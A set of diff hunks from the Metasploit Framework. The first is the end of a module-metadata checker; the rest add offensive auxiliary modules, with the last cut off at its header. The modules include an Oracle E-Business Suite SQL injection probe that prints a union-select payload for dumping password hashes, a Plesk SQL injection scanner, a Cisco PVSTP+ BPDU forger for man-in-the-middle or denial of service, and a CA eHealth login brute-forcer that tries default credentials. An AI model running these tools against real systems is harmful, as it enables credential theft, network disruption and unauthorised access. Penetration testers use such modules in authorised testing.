'Version*' => CommaListMatch.new(version_match),
|
||||
'Author*' => author_match,
|
||||
'Arch*' => arch_match,
|
||||
'Platform*' => platform_match,
|
||||
'Ref*' => ListMatch.new([nil]),
|
||||
'Privileged*' => ListMatch.new([false, true]),
|
||||
'License*' => license_match,
|
||||
'Handler' => TODOMatch.new(), # KindMatch.new(Module),
|
||||
'Session' => KindMatch.new(Class),
|
||||
'Payload' => TODOMatch.new(),
|
||||
'Compat*' => HashMatch.new({
|
||||
'Payload*' => HashMatch.new({
|
||||
'Convention' => RegexStringMatch.new(/[a-z +-]+/), # TODO
|
||||
}),
|
||||
'Encoder*' => HashMatch.new({}),
|
||||
'Nop*' => HashMatch.new({})
|
||||
}),
|
||||
'ConnectionType*' => CollectMatch.new(encoder_type_list, /^[a-z0-9_]+$/),
|
||||
'PayloadCompat' => HashMatch.new({
|
||||
'Convention*' => CollectMatch.new(payload_convention_list, /[a-z]+/), # TODO both?
|
||||
}),
|
||||
'PayloadType' => ListMatch.new(['cmd', 'cmd_interact', 'cmd_bash']),
|
||||
'RequiredCmd' => CollectMatch.new(payload_required_cmd, /[a-z-]+/),
|
||||
'References' => ReferencesMatch.new(),
|
||||
'Stage' => HashMatch.new({
|
||||
'Offsets' => TODOMatch.new(),
|
||||
'Payload' => RegexStringMatch.new(//),
|
||||
'Assembly' => RegexStringMatch.new(//)
|
||||
}),
|
||||
'Convention' => CollectMatch.new(payload_convention_list, /[a-z]+/), # TODO both?
|
||||
'Stager' => HashMatch.new({
|
||||
'RequiresMidstager' => ListMatch.new([false]),
|
||||
'Offsets' => TODOMatch.new(),
|
||||
'Payload' => RegexStringMatch.new(//),
|
||||
'Assembly' => RegexStringMatch.new(//)
|
||||
}),
|
||||
'SymbolLookup' => ListMatch.new(['ws2ord'])
|
||||
}
|
||||
|
||||
# post module rules
|
||||
post_matchers = {
|
||||
'Name*' => name_match,
|
||||
'Description*' => RegexStringMatch.new(/./),
|
||||
'Version*' => version_match,
|
||||
'Author*' => author_match,
|
||||
'Arch*' => ListMatch.new([nil]),
|
||||
'Platform*' => platform_match,
|
||||
'Ref*' => ListMatch.new([nil]),
|
||||
'Privileged*' => ListMatch.new([false]),
|
||||
'License*' => license_match,
|
||||
'SessionTypes*' => ArrayOrSingleMatch.new(ListMatch.new(['shell', 'meterpreter'])),
|
||||
'Compat*' => HashMatch.new({
|
||||
'Payload*' => HashMatch.new({}),
|
||||
'Encoder*' => HashMatch.new({}),
|
||||
'Nop*' => HashMatch.new({})
|
||||
}),
|
||||
'References' => ReferencesMatch.new(),
|
||||
'Actions' => TODOMatch.new(),
|
||||
'DefaultAction' => RegexStringMatch.new(/[A-Za-z0-9 ]+/), # TODO one of Actions
|
||||
'DisclosureDate' => DisclosureDateMatch.new()
|
||||
}
|
||||
|
||||
# exploit rules
|
||||
exploit_matchers = {
|
||||
'Name*' => name_match,
|
||||
'Description*' => RegexStringMatch.new(/./),
|
||||
'Version*' => version_match,
|
||||
'Author*' => author_match,
|
||||
'Arch*' => OrMatch.new(arch_match, ListMatch.new([nil])),
|
||||
'Platform*' => platform_match,
|
||||
'Ref*' => ListMatch.new([nil]),
|
||||
'Privileged*' => ListMatch.new([false, true]),
|
||||
'License*' => license_match,
|
||||
'References' => ReferencesMatch.new(),
|
||||
'DefaultOptions' => TODOMatch.new(),
|
||||
'Payload' => TODOMatch.new(),
|
||||
'Targets' => TODOMatch.new(),
|
||||
'DisclosureDate' => DisclosureDateMatch.new(),
|
||||
'DefaultTarget' => TODOMatch.new(), # TODO one of Targets
|
||||
'Compat*' => HashMatch.new({
|
||||
'PayloadType' => ListMatch.new(['cmd']), #TODO?
|
||||
'Payload*' => TODOMatch.new(),
|
||||
'Encoder*' => HashMatch.new({}),
|
||||
'Nop*' => HashMatch.new({}),
|
||||
'RequiredCmd' => TODOMatch.new(), #TODO payload_required_cmd
|
||||
}),
|
||||
'SaveRegisters' => TODOMatch.new(),
|
||||
'Stance' => ArrayOrSingleMatch.new(ListMatch.new(['aggressive', 'passive'])),
|
||||
'SessionTypes' => ArrayOrSingleMatch.new(ListMatch.new(['shell', 'meterpreter'])),
|
||||
}
|
||||
|
||||
# exploit autopwn rules (TODO get them)
|
||||
exploit_autopwn_matchers = {
|
||||
'ua_name' => ListMatch.new(['Firefox', 'Opera', 'MSIE', 'Safari']),
|
||||
'ua_minver' => RegexStringMatch.new(/[0-9.]+/),
|
||||
'ua_maxver' => RegexStringMatch.new(/[0-9.]+/),
|
||||
#'ua_ver' => ListMatch.new([]),
|
||||
'classid' => ArrayOrSingleMatch.new(RegexStringMatch.new(//)),
|
||||
'method' => ArrayOrSingleMatch.new(RegexStringMatch.new(//)),
|
||||
'javascript' => ListMatch.new([true, false]),
|
||||
'os_name' => ArrayOrSingleMatch.new(ListMatch.new(['Microsoft Windows', 'Linux', 'Mac OS X'])),
|
||||
#'os_ver' => ListMatch.new([]),
|
||||
#'postfix_html' => ListMatch.new([]),
|
||||
#'prefix_html' => ListMatch.new([]),
|
||||
'vuln_test' => RegexStringMatch.new(//),
|
||||
'rank' => NumberMatch.new(300,600)
|
||||
}
|
||||
|
||||
# now do all the checks
|
||||
module_checks = [
|
||||
['nops', framework.modules.nops, nop_matchers],
|
||||
['encoders', framework.modules.encoders, encoder_matchers],
|
||||
['auxiliary', framework.modules.auxiliary, auxiliary_matchers],
|
||||
['payloads', framework.modules.payloads, payload_matchers],
|
||||
['post', framework.modules.post, post_matchers],
|
||||
['exploits', framework.modules.exploits, exploit_matchers],
|
||||
['autopwn exploits', framework.modules.exploits, exploit_autopwn_matchers, :autopwn_opts],
|
||||
]
|
||||
module_checks.each do |module_check|
|
||||
type,module_hash,raw_matchers,accessor = module_check
|
||||
matchers={}
|
||||
required_keys=[]
|
||||
raw_matchers.each_pair do |origkey,value|
|
||||
key=origkey.dup
|
||||
if /\*$/.match(key)
|
||||
key[-1,1] = ''
|
||||
required_keys.push key
|
||||
end
|
||||
matchers[key] = value
|
||||
end
|
||||
module_hash.each_key do |name|
|
||||
missing_required_keys = required_keys.dup
|
||||
if accessor.nil?
|
||||
minfo = module_hash.create(name).send(:module_info)
|
||||
else
|
||||
minfo = {}
|
||||
mod = module_hash.create(name).class
|
||||
if mod.respond_to?(accessor)
|
||||
mod.send(accessor).each_pair do |key,value|
|
||||
if not value.nil?
|
||||
minfo[key.to_s] = value
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
matchers.each_value do |matcher|
|
||||
matcher.reset()
|
||||
end
|
||||
minfo.each_pair do |key,value|
|
||||
missing_required_keys.delete key
|
||||
matcher = matchers[key]
|
||||
if matcher.nil? or not matcher.match?(value) then
|
||||
print_status "#{type}/#{name}: #{key} = #{value}"
|
||||
end
|
||||
end
|
||||
matchers.each_pair do |key,matcher|
|
||||
if not matcher.validate()
|
||||
print_status "#{type}/#{name}: #{key} inconsistent"
|
||||
end
|
||||
end
|
||||
missing_required_keys.each do |key|
|
||||
print_status "#{type} #{name}: missing #{key}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Match
|
||||
|
||||
def reset()
|
||||
end
|
||||
|
||||
def match?(value)
|
||||
true
|
||||
end
|
||||
|
||||
def validate()
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
class ListMatch < Match
|
||||
def initialize(list)
|
||||
@list = list
|
||||
end
|
||||
|
||||
def match?(value)
|
||||
@list.include?(value)
|
||||
end
|
||||
end
|
||||
|
||||
class RegexStringMatch < Match
|
||||
def initialize(regex)
|
||||
@regex = regex
|
||||
end
|
||||
|
||||
def match?(value)
|
||||
value.kind_of? String and @regex.match(value)
|
||||
end
|
||||
end
|
||||
|
||||
class NumberMatch < Match
|
||||
def initialize(from, to)
|
||||
@from = from
|
||||
@to = to
|
||||
end
|
||||
|
||||
def match?(value)
|
||||
value.kind_of? Fixnum and value >= @from and value <= @to
|
||||
end
|
||||
end
|
||||
|
||||
class KindMatch < Match
|
||||
def initialize(type)
|
||||
@type = type
|
||||
end
|
||||
|
||||
def match?(value)
|
||||
value.kind_of? @type
|
||||
end
|
||||
end
|
||||
|
||||
class ArrayOrSingleMatch < Match
|
||||
def initialize(match)
|
||||
@match = match
|
||||
end
|
||||
|
||||
def reset()
|
||||
@match.reset
|
||||
end
|
||||
|
||||
def match?(value)
|
||||
if value.kind_of? Array
|
||||
value.each do |elem|
|
||||
if not @match.match?(elem)
|
||||
return false
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
@match.match?(value)
|
||||
end
|
||||
|
||||
def validate
|
||||
@match.validate
|
||||
end
|
||||
end
|
||||
|
||||
class CommaListMatch < ArrayOrSingleMatch
|
||||
def match?(value)
|
||||
''.empty? or super(value.split(', '))
|
||||
end
|
||||
end
|
||||
|
||||
class HashMatch < Match
|
||||
def initialize(opts)
|
||||
@matchers = {}
|
||||
@required = []
|
||||
opts.each_pair do |origkey,value|
|
||||
key=origkey.dup
|
||||
if /\*$/.match(key)
|
||||
key[-1,1] = ''
|
||||
@required.push key
|
||||
end
|
||||
@matchers[key] = value
|
||||
end
|
||||
end
|
||||
|
||||
def reset()
|
||||
@matchers.each_value do |value|
|
||||
value.reset()
|
||||
end
|
||||
end
|
||||
|
||||
def match?(value)
|
||||
if not value.kind_of? Hash
|
||||
return false
|
||||
end
|
||||
missing_required = @required.dup
|
||||
value.each_pair do |key,value|
|
||||
missing_required.delete key
|
||||
matcher = @matchers[key]
|
||||
if matcher.nil? or not matcher.match?(value)
|
||||
return false
|
||||
end
|
||||
end
|
||||
return missing_required.empty?
|
||||
end
|
||||
|
||||
def validate()
|
||||
@matchers.each_value do |value|
|
||||
if not value.validate()
|
||||
return false
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
class OrMatch < Match
|
||||
def initialize(*matches)
|
||||
@matches = matches
|
||||
end
|
||||
|
||||
def reset()
|
||||
@matches.each do |match|
|
||||
match.reset
|
||||
end
|
||||
end
|
||||
|
||||
def match?(value)
|
||||
@matches.each do |match|
|
||||
if match.match?(value)
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def validate
|
||||
@matches.each do |match|
|
||||
if match.validate()
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
class CollectMatch < Match
|
||||
def initialize(list, regex)
|
||||
@list = list
|
||||
@regex = regex
|
||||
end
|
||||
|
||||
def match?(value)
|
||||
if not value.kind_of? String or not @regex.match(value)
|
||||
return false
|
||||
end
|
||||
if not @list.include?(value)
|
||||
@list.push value
|
||||
end
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
class ReferencesMatch < Match
|
||||
|
||||
def initialize()
|
||||
@allowed_refs = {
|
||||
'CVE' => /^[0-9]{4}-[0-9]{4}$/,
|
||||
'WVE' => /^[0-9]{4}-[0-9]{4}$/,
|
||||
'BID' => /^[1-9][0-9]*$/,
|
||||
'OSVDB' => /^[1-9][0-9]*$/,
|
||||
'EDB' => /^[1-9][0-9]*$/,
|
||||
'UDB' => /^[1-9][0-9]*$/,
|
||||
'SECUNIA' => /^[1-9][0-9]*$/,
|
||||
'MSB' => /^MS[0-9]{2}-[0-9]{3}$/,
|
||||
'US-CERT-VU' => /^[1-9][0-9]*$/,
|
||||
'MIL' => /^(68|9663)$/, # TODO
|
||||
'MSF' => /[a-z0-9\/_]+/,
|
||||
'URL' => /^(https?:\/\/|ftp:\/\/|www\.)[^ <>"]*$/
|
||||
}
|
||||
end
|
||||
|
||||
def match?(value)
|
||||
if not value.kind_of? Array
|
||||
return false
|
||||
end
|
||||
value.each do |arr|
|
||||
if not arr.kind_of? Array or arr.length != 2
|
||||
return false
|
||||
end
|
||||
type, ref = arr
|
||||
refregex = @allowed_refs[type]
|
||||
if refregex.nil? or not ref.kind_of? String or not refregex.match(ref)
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class DisclosureDateMatch < Match
|
||||
def match?(value)
|
||||
if not value.kind_of? String or not /^(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) [0-3]?[0-9] [12][0-9]{3}$/.match(value)
|
||||
return false
|
||||
end
|
||||
begin
|
||||
d = Date.strptime(value, '%b %d %Y')
|
||||
return (d >= Date.new(1993,11,14) and d < DateTime.now)
|
||||
rescue ArgumentError
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class TODOMatch < Match
|
||||
#TODO remove
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,79 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
#######################oracle_ebusiness_suite_sqli############################
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Oracle E-Business Suite SQL Injection 11.5.1-11.5.10.2.(R12)',
|
||||
'Description' => %q{
|
||||
This module makes a request to the Oracle Application Server (tested against Oracle HRMS [self service])
|
||||
in an attempt to find some of the vulnerabilities described by Joxean Koret. It will also try to find DAD to be used with /pls/
|
||||
},
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2010.html'
|
||||
],
|
||||
],
|
||||
'Author' => [ 'KP' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options([Opt::RPORT(8000),], self.class)
|
||||
end
|
||||
def run_host(ip)
|
||||
begin
|
||||
finddad = send_request_raw({
|
||||
'uri' => '/OA_HTML/biserror.jsp?DBC=DOESNOTEXIST',
|
||||
'method' => 'GET',
|
||||
'version' => '1.1',
|
||||
}, 5)
|
||||
|
||||
if ( finddad.body =~ /pls/ )
|
||||
sleep(2)
|
||||
tempdad = finddad.body.scan(/\/pls\/(.*)\//)
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:type => 'SERVICE_NAME',
|
||||
:data => "#{tempdad.uniq}"
|
||||
)
|
||||
tempdad1 = $1
|
||||
tempdad2 = tempdad1.split("/")
|
||||
finaldad = tempdad2.first
|
||||
print_status("Discovered DAD: '#{finaldad}' for host #{ip}")
|
||||
else
|
||||
print_error("Unable to retrieve DAD for #{ip}...")
|
||||
end
|
||||
supplieruri = "/pls/#{finaldad}/ICXSUPWF.DISPLAYCONTACTS"
|
||||
print_status ("Looking for supplier infor at '#{supplieruri}'")
|
||||
findsupplier = send_request_raw({
|
||||
'uri' => "#{supplieruri}",
|
||||
'method' => 'GET',
|
||||
'version' => '1.1',
|
||||
}, 5)
|
||||
if ((findsupplier.body =~ /Supplier Contacts/) && (findsupplier.body =~ /Company Address/))
|
||||
sleep(2)
|
||||
print_status("Supplier contacts found on '#{supplieruri}'")
|
||||
print_status("Find password hashes on
|
||||
'#{supplieruri}'?p_where=2>1%20union%20select%20username,password,null,null,null,null%20from%20dba_users;")
|
||||
else
|
||||
print_error("Supplier info not found")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,63 @@
|
||||
require 'msf/core'
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Plesk 8.6.0 Vulnerability Scanner',
|
||||
'Description' => 'This module scans network host[s] for vulnerable plesk installations',
|
||||
'Author' =>
|
||||
[
|
||||
'Gaurav Baruah <gaurav[at]esecforte.com>',
|
||||
'Sachin Kumar <sachin[at]esecforte.com>',
|
||||
'Vivek Razdan <vivek[at]esecforte.com>'
|
||||
#'eSecForte Technologies Pvt. Ltd. <sploitlab[at]esecforte.com>',
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2012-1557'],
|
||||
['URL', 'http://www.esecforte.com/blog/exploring-plesks-unspecified-vulnerability/'],
|
||||
['URL', 'http://krebsonsecurity.com/2012/07/plesk-0day-for-sale-as-thousands-of-sites-hacked/']
|
||||
]
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8880)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
data = <<-EOF
|
||||
<?xml version="1.0" encoding="UTF-8"?><packet version="1.5.1.0">
|
||||
<dns><add_rec><domain_id>1</domain_id><type>A</type><host>mail</host>
|
||||
<value>127.0.0.1</value></add_rec></dns></packet>
|
||||
EOF
|
||||
if(connect())
|
||||
passwd = rand_text_alpha(6)
|
||||
res = send_request_raw({
|
||||
'uri' => "/enterprise/control/agent.php",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'HTTP_AUTH_LOGIN' => "'",
|
||||
'HTTP_AUTH_PASSWD' => passwd,
|
||||
'Content-Type' => 'text/xml',
|
||||
'Content-Length' => data.length,
|
||||
}
|
||||
}, 25)
|
||||
if (res)
|
||||
if(res.body[/MySQL/])
|
||||
print_good("#{ip} is Vulnerable to MySQL injection")
|
||||
elsif (res.body[/Microsoft OLE DB/])
|
||||
print_good("#{ip} is Vulnerable to MSSQL injection")
|
||||
elsif (res.body[/Jet/])
|
||||
print_good("#{ip} is Vulnerable to JET SQLi")
|
||||
else
|
||||
print_error("#{ip} is not vulnerable")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,186 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
#begin auxiliary/spoof/cisco/pvstp.rb
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Forge Cisco PVSTP+ BPDUs',
|
||||
'Description' => %q{
|
||||
This module forges Per-VLAN Spanning-Tree BPDUs to claim
|
||||
the Root role. PVST(+) is the Cisco default for use on switches.
|
||||
This will either result in a MiTM or a DOS. You need to set
|
||||
the RMAC field to a MAC address lower than the current root
|
||||
bridge (hint: use wireshark) or use AUTO to sniff and generate one.
|
||||
},
|
||||
'Author' => [ 'Spencer McIntyre' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'Service' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'Service'
|
||||
],
|
||||
'DefaultAction' => 'Service'
|
||||
)
|
||||
|
||||
begin
|
||||
require 'pcaprub'
|
||||
@@havepcap = true
|
||||
rescue ::LoadError
|
||||
@@havepcap = false
|
||||
end
|
||||
|
||||
register_options([
|
||||
OptString.new('RMAC', [ false, "The Root MAC To Spoof", '00:00:00:00:00:00']),
|
||||
OptBool.new('AUTO', [ true, "Automatically Guess A Lower Root MAC", true]),
|
||||
OptInt.new('VID', [ true, "The Target VLAN Identifier", 1]),
|
||||
OptString.new('INTERFACE', [true, "The name of the interface", 'eth0'])
|
||||
])
|
||||
|
||||
deregister_options('FILTER','PCAPFILE','RHOST','SNAPLEN','TIMEOUT','UDP_SECRET', 'NETMASK', 'GATEWAY')
|
||||
register_advanced_options([
|
||||
OptInt.new('MaxAge', [ true, "The amount of time a switch will retain a BPDU's contents before discarding it.", 20]),
|
||||
OptInt.new('HelloTime', [ true, "The interval between BPDUs.", 2]),
|
||||
OptInt.new('ForwardDelay', [ true, "The time spent in the listening and learning states.", 15]),
|
||||
OptInt.new('Wait', [ true, "The amount of time to sniff for a PVSTP+ BPDU to guess the root MAC", 15]),
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
@auto = false
|
||||
if (datastore['AUTO'].to_s.match(/^(t|y|1)/i))
|
||||
@auto = true
|
||||
end
|
||||
if datastore['VID'] > 4094
|
||||
print_error('stp: VLAN ID is to high (greater than 4094)')
|
||||
return 0
|
||||
end
|
||||
if @auto # Note that this can hang forever
|
||||
raise "Pcaprub is not available" if not @@havepcap
|
||||
open_pcap({'FILTER' => 'ether dst 01:00:0c:cc:cc:cd'})
|
||||
pcap = self.capture
|
||||
begin
|
||||
Timeout.timeout(datastore['Wait'].to_i) do
|
||||
pcap.each do |r|
|
||||
eth = Racket::L2::Ethernet.new(r)
|
||||
if eth.ethertype == 0x8100
|
||||
@dot1q = true
|
||||
vlan = Racket::L2::VLAN.new( eth.payload )
|
||||
next if not vlan.id == datastore['VID']
|
||||
llc = Racket::L2::LLC.new( vlan.payload )
|
||||
else
|
||||
@dot1q = false
|
||||
llc = Racket::L2::LLC.new( eth.payload )
|
||||
end
|
||||
|
||||
stp = Racket::L3::STP.new( llc.payload[5, llc.payload.length] )
|
||||
next if not stp.root_wtf.to_s(2)[4 .. 16].to_i(2)
|
||||
|
||||
@rmac = stp.root_id #the following 8 lines make sure the MAC is lower so we can steal the root
|
||||
$i = 9;
|
||||
until (@rmac.to_s[$i .. ($i + 1)].hex - 1) > 0 do
|
||||
if $i == 0
|
||||
next
|
||||
end
|
||||
$i = $i - 3
|
||||
end
|
||||
tmp = (@rmac.to_s[$i .. ($i + 1)].hex - 1)
|
||||
if tmp < 16
|
||||
@rmac = @rmac[0 .. ($i - 1)] + '0' + tmp.to_s(16) + @rmac[($i + 2) .. 16]
|
||||
else
|
||||
@rmac = @rmac[0 .. ($i - 1)] + tmp.to_s(16) + @rmac[($i + 2) .. 16]
|
||||
end
|
||||
break
|
||||
end
|
||||
end
|
||||
rescue Timeout::Error
|
||||
print_error('stp: Could Not Find PVSTP+ Instance With Specified VLAN, Now Exiting')
|
||||
return 0
|
||||
end
|
||||
end
|
||||
###
|
||||
@run = true
|
||||
n = Racket::Racket.new
|
||||
helloTime = datastore['HelloTime'].to_i
|
||||
forwardDelay = datastore['ForwardDelay'].to_i
|
||||
maxAge = datastore['MaxAge'].to_i
|
||||
|
||||
n.l2 = Racket::L2::Ethernet.new()
|
||||
if @auto
|
||||
src_mac = @rmac.to_s[0 .. 15]
|
||||
src_mac << (16 + rand(238)).to_s(16)
|
||||
n.l2.src_mac = src_mac
|
||||
else
|
||||
@rmac = datastore['RMAC']
|
||||
if @rmac.length != 17
|
||||
print_error('stp: Invalid Field RMAC')
|
||||
return 0
|
||||
end
|
||||
n.l2.src_mac = @rmac
|
||||
@rmac = @rmac.to_s[0 .. 15] << '00'
|
||||
end
|
||||
n.l2.dst_mac = '01:00:0c:cc:cc:cd' # this has to stay the same
|
||||
if @dot1q
|
||||
n.l2.ethertype = 0x8100 # 802.1Q
|
||||
eight_oh_two_q_priority = 0b111 * (2 ** 13)
|
||||
eight_oh_two_q_cfi = 0b0 * (2 ** 12)
|
||||
eight_oh_two_id = datastore['VID']
|
||||
n.l2.payload = [ eight_oh_two_q_priority + eight_oh_two_q_cfi + eight_oh_two_id ].pack("n") + "\x00\x32"
|
||||
else
|
||||
n.l2.ethertype = 0x0032
|
||||
end
|
||||
|
||||
n.l4 = Racket::L2::LLC.new()
|
||||
n.l4.control = 0x03
|
||||
n.l4.dsap = 0xaa
|
||||
n.l4.ssap = 0xaa
|
||||
payload = "\x00\x00\x0c" # Cisco vendor code
|
||||
payload << "\x01\x0b" # pid 010b is PVSTP+
|
||||
n.l4.payload = payload
|
||||
|
||||
n.l5 = Racket::L3::STP.new()
|
||||
n.l5.protocol = 0x0000
|
||||
n.l5.version = 0x00
|
||||
n.l5.bpdu_type = 0x00
|
||||
n.l5.root_id = @rmac
|
||||
n.l5.root_wtf = ( 0b1000 * (2 ** 12)) + datastore['VID']
|
||||
n.l5.root_cost = 0x0000
|
||||
n.l5.bridge_id = @rmac
|
||||
n.l5.bridge_wtf = ( 0b1000 * (2 ** 12)) + datastore['VID']
|
||||
n.l5.port_id = 0x8001
|
||||
n.l5.msg_age = 0x0000
|
||||
n.l5.max_age = maxAge * 256
|
||||
n.l5.hello_time = helloTime * 256
|
||||
n.l5.forward_delay = forwardDelay * 256
|
||||
n.l5.payload = "\x00\x00\x00\x02" << [ datastore['VID'] ].pack("n")
|
||||
|
||||
n.iface = datastore['INTERFACE']
|
||||
n.pack()
|
||||
print_debug "n: #{n.inspect}"
|
||||
print_debug "n: #{n.pack.inspect}"
|
||||
|
||||
while @run
|
||||
n.send2()
|
||||
select(nil, nil, nil, helloTime)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,135 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'rex/proto/http'
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
#
|
||||
# CONSTANTS
|
||||
# Used to check if remote app is eHealth
|
||||
#
|
||||
|
||||
EHEALTH_FINGERPRINT = 'Welcome to the CA <i>e<\/i>Health<sup><font size=4>®'
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'CA eHealth Performance Manager Application Brute Force Login Utility',
|
||||
'Description' => %{
|
||||
This module attempts to scan for CA eHealth Performance Manager web application, finds its version
|
||||
and performs login brute force to identify valid credentials.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [true, "URI for Web login. Default: /web/frames/", "/web/frames/"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless is_app_ehealth?
|
||||
print_error("#{rhost}:#{rport} -> Application does not appear to be CA eHealth. Module will not continue.")
|
||||
return
|
||||
end
|
||||
|
||||
status = try_default_credential
|
||||
return if status == :abort
|
||||
|
||||
print_status("#{rhost}:#{rport} -> Brute-forcing...")
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# What's the point of running this module if the app actually isn't eHealth?
|
||||
#
|
||||
def is_app_ehealth?
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/bin/welcome.sh',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if (res and res.code == 200 and res.body.include?(EHEALTH_FINGERPRINT))
|
||||
version_key = /<title>(.+)<\/title>/
|
||||
version = res.body.scan(version_key).flatten
|
||||
print_good("#{rhost}:#{rport} -> Application version is #{version}")
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Test and see if the default credential works
|
||||
#
|
||||
def try_default_credential
|
||||
user = 'ehealth'
|
||||
pass = 'ehealth'
|
||||
do_login(user, pass)
|
||||
end
|
||||
|
||||
#
|
||||
# Brute-force the login page
|
||||
#
|
||||
def do_login(user, pass)
|
||||
vprint_status("#{rhost}:#{rport} -> Trying username:#{user.inspect} with password:#{pass.inspect}")
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => target_uri.to_s,
|
||||
'method' => 'GET',
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => user,
|
||||
'password' => pass
|
||||
}
|
||||
})
|
||||
|
||||
get_title = res.match(/<title>(.*)<\/title>/mi).captures.first
|
||||
|
||||
if (not res or get_title != "eHealth [#{user}]")
|
||||
vprint_error("#{rhost}:#{rport} -> FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}")
|
||||
return :skip_pass
|
||||
else
|
||||
print_good("#{rhost}:#{rport} -> SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
report_hash = {
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'eHealth',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'}
|
||||
|
||||
report_auth_info(report_hash)
|
||||
return :next_user
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
|
||||
print_error("#{rhost}:#{rport} -> HTTP Connection Failed, Aborting")
|
||||
return :abort
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,85 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
|
